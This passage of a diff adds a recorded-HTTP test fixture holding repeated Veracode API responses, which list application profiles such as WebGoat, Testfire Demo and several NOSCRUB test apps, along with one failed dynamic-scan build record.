+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:13:37 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:13:39 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:13:39 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:15:08 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
